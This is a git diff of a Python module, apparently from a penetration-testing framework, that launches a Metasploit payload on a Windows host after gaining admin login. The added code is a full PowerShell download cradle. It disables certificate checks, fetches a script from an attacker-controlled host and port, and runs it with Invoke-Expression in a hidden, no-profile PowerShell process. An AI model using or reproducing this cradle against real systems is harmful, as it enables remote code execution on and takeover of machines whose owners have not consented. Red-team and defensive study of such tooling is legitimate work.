@@ -33,23 +33,24 @@ def options(self, context, module_options):
3333 self .srvport = module_options ['SRVPORT' ]
3434 self .rand = module_options ['RAND' ]
3535
36- self .ps_script = obfs_ps_script ('Invoke-MetasploitPayload/Invoke-MetasploitPayload.ps1' )
37-
3836 def on_admin_login (self , context , connection ):
39- payload = """Invoke-MetasploitPayload {}://{}:{}/{}""" .format ('http' if self .met_ssl == 'http' else 'https' ,
40- self .srvhost ,
41- self .srvport ,
42- self .rand )
43- launcher = gen_ps_iex_cradle (context , 'Invoke-MetasploitPayload.ps1' , payload , post_back = False )
44- connection .ps_execute (launcher , force_ps32 = True )
37+ # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
38+ command = """$url="{}://{}:{}/{}"
39+ $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
40+ $PowershellExe=$env:windir+'\\ syswow64\\ WindowsPowerShell\\ v1.0\powershell.exe'
41+ if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
42+ $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
43+ $ProcessInfo.FileName=$PowershellExe
44+ $ProcessInfo.Arguments="-nop -c $DownloadCradle"
45+ $ProcessInfo.UseShellExecute = $False
46+ $ProcessInfo.RedirectStandardOutput = $True
47+ $ProcessInfo.CreateNoWindow = $True
48+ $ProcessInfo.WindowStyle = "Hidden"
49+ $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""" .format (
50+ 'http' if self .met_ssl == 'http' else 'https' ,
51+ self .srvhost ,
52+ self .srvport ,
53+ self .rand )
54+ context .log .debug (command )
55+ connection .ps_execute (command , force_ps32 = True )
4556 context .log .success ('Executed payload' )
46-
47- def on_request (self , context , request ):
48- if 'Invoke-MetasploitPayload.ps1' == request .path [1 :]:
49- request .send_response (200 )
50- request .end_headers ()
51- request .wfile .write (self .ps_script .encode ())
52- request .stop_tracking_host ()
53- else :
54- request .send_response (404 )
55- request .end_headers ()
0 commit comments